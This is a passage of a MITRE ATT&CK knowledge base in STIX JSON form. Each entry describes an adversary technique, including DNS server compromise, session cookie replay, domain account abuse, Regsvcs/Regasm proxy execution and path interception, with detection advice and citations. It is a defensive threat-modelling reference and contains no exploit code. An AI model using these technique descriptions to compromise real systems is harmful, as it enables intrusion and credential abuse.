Galloway"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5","created":"2020-10-01T00:54:30.869Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1584.002","url":"https://attack.mitre.org/techniques/T1584/002"},{"source_name":"FireEye DNS Hijack 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html","description":"Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020."},{"source_name":"Crowdstrike DNS Hijack 2019","url":"https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/","description":"Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity Targets Multiple Sectors. Retrieved February 14, 2022."},{"source_name":"Talos DNSpionage Nov 2018","url":"https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html","description":"Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020."},{"source_name":"CiscoAngler","url":"https://blogs.cisco.com/security/talos/angler-domain-shadowing","description":"Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017."},{"source_name":"Proofpoint Domain Shadowing","url":"https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows","description":"Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019)  Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)","modified":"2022-04-19T21:22:13.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"DNS Server","x_mitre_detection":"Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Domain Name: Passive DNS","Domain Name: Active DNS"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","type":"attack-pattern","created":"2020-03-15T00:40:27.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1001.003","url":"https://attack.mitre.org/techniques/T1001/003"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-15T00:40:27.503Z","name":"Protocol Impersonation","description":"Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.  \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","type":"attack-pattern","created":"2017-05-31T21:30:25.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1012","url":"https://attack.mitre.org/techniques/T1012"},{"external_id":"CAPEC-647","source_name":"capec","url":"https://capec.mitre.org/data/definitions/647.html"},{"url":"https://en.wikipedia.org/wiki/Windows_Registry","description":"Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.","source_name":"Wikipedia Windows Registry"}],"modified":"2020-03-26T18:08:20.049Z","name":"Query Registry","description":"Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Access","Process: Process Creation","Command: Command Execution","Process: OS API Execution"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","type":"attack-pattern","created":"2017-05-31T21:30:34.523Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1030","external_id":"T1030"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-07-14T19:47:46.912Z","name":"Data Transfer Size Limits","description":"An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39","type":"attack-pattern","created":"2017-05-31T21:30:33.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1028","url":"https://attack.mitre.org/techniques/T1028"},{"external_id":"CAPEC-555","source_name":"capec","url":"https://capec.mitre.org/data/definitions/555.html"},{"url":"http://msdn.microsoft.com/en-us/library/aa384426","description":"Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.","source_name":"Microsoft WinRM"},{"url":"https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2","description":"Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.","source_name":"Jacobsen 2014"},{"source_name":"Medium Detecting Lateral Movement","url":"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc","description":"French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."}],"modified":"2020-02-11T18:30:20.937Z","name":"Windows Remote Management","description":"Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. (Citation: Medium Detecting Lateral Movement)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_system_requirements":["WinRM listener turned on and configured on remote system"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Office 365","SaaS","Google Workspace","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jen Burns, HubSpot","Johann Rehberger"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0","type":"attack-pattern","created":"2020-01-30T17:48:49.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1550.004","url":"https://attack.mitre.org/techniques/T1550/004"},{"external_id":"CAPEC-60","source_name":"capec","url":"https://capec.mitre.org/data/definitions/60.html"},{"description":"Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.","url":"https://wunderwuzzi23.github.io/blog/passthecookie.html","source_name":"Pass The Cookie"},{"source_name":"Unit 42 Mac Crypto Cookies January 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019."}],"modified":"2021-10-12T14:22:09.650Z","name":"Web Session Cookie","description":"Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","Web Credential: Web Credential Usage"],"x_mitre_defense_bypassed":["System Access Controls"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jon Sternstein, Stern Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","created":"2020-03-13T20:21:54.758Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1078.002","url":"https://attack.mitre.org/techniques/T1078/002"},{"source_name":"TechNet Credential Theft","url":"https://technet.microsoft.com/en-us/library/dn535501.aspx","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016."},{"source_name":"TechNet Audit Policy","url":"https://technet.microsoft.com/en-us/library/dn487457.aspx","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016."},{"source_name":"Microsoft AD Accounts","url":"https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts","description":"Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020."},{"source_name":"Ubuntu SSSD Docs","url":"https://ubuntu.com/server/docs/service-sssd","description":"Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021."},{"url":"https://capec.mitre.org/data/definitions/560.html","source_name":"capec","external_id":"CAPEC-560"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.","modified":"2022-04-19T20:14:34.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Domain Accounts","x_mitre_detection":"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["User Account: User Account Authentication","Logon Session: Logon Session Metadata","Logon Session: Logon Session Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_effective_permissions":[],"x_mitre_defense_bypassed":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8","type":"attack-pattern","created":"2020-01-23T19:42:16.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.009","url":"https://attack.mitre.org/techniques/T1218/009"},{"source_name":"MSDN Regsvcs","description":"Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.","url":"https://msdn.microsoft.com/en-us/library/04za0hca.aspx"},{"source_name":"MSDN Regasm","description":"Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.","url":"https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"},{"source_name":"LOLBAS Regsvcs","url":"https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/","description":"LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019."},{"source_name":"LOLBAS Regasm","url":"https://lolbas-project.github.io/lolbas/Binaries/Regasm/","description":"LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019."}],"modified":"2022-03-11T18:55:48.725Z","name":"Regsvcs/Regasm","description":"Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02","type":"attack-pattern","created":"2017-05-31T21:30:36.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","external_id":"T1034","url":"https://attack.mitre.org/techniques/T1034"},{"external_id":"CAPEC-159","source_name":"capec","url":"https://capec.mitre.org/data/definitions/159.html"},{"url":"https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/","description":"Nagaraju, S. (2014, April 8). MS14-019 – Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.","source_name":"TechNet MS14-019"},{"url":"http://support.microsoft.com/KB/103000","description":"Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.","source_name":"Microsoft Subkey"},{"url":"https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464","description":"Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.","source_name":"Baggett 2012"},{"url":"https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/","description":"HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018.","source_name":"SecurityBoulevard Unquoted Services APR 2018"},{"url":"https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/","description":"McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.","source_name":"SploitSpren Windows Priv Jan 2018"},{"url":"http://msdn.microsoft.com/en-us/library/ms682425","description":"Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.","source_name":"Microsoft CreateProcess"},{"url":"http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120","description":"Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.","source_name":"Hill NT Shell"},{"url":"http://msdn.microsoft.com/en-us/library/ms687393","description":"Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.","source_name":"Microsoft WinExec"},{"url":"https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx","description":"Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.","source_name":"MSDN Environment Property"}],"modified":"2020-07-06T18:49:35.645Z","name":"Path Interception","description":"**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_effective_permissions":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Office 365","SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Johann Rehberger"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5","type":"attack-pattern","created":"2019-10-08T20:08:56.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1506","url":"https://attack.mitre.org/techniques/T1506"},{"description":"Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.","url":"https://wunderwuzzi23.github.io/blog/passthecookie.html","source_name":"Pass The Cookie"},{"source_name":"Unit 42 Mac Crypto Cookies January 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019."}],"modified":"2020-12-17T16:57:07.529Z","name":"Web Session Cookie","description":"Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Logon Credentials","Multi-Factor Authentication"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Graeber, @mattifestation, SpecterOps","Red Canary","Travis Smith, Tripwire","Itzik Kotler, SafeBreach"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","type":"attack-pattern","created":"2020-02-21T21:05:32.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1553.004","url":"https://attack.mitre.org/techniques/T1553/004"},{"external_id":"CAPEC-479","source_name":"capec","url":"https://capec.mitre.org/data/definitions/479.html"},{"url":"https://en.wikipedia.org/wiki/Root_certificate","description":"Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.","source_name":"Wikipedia Root 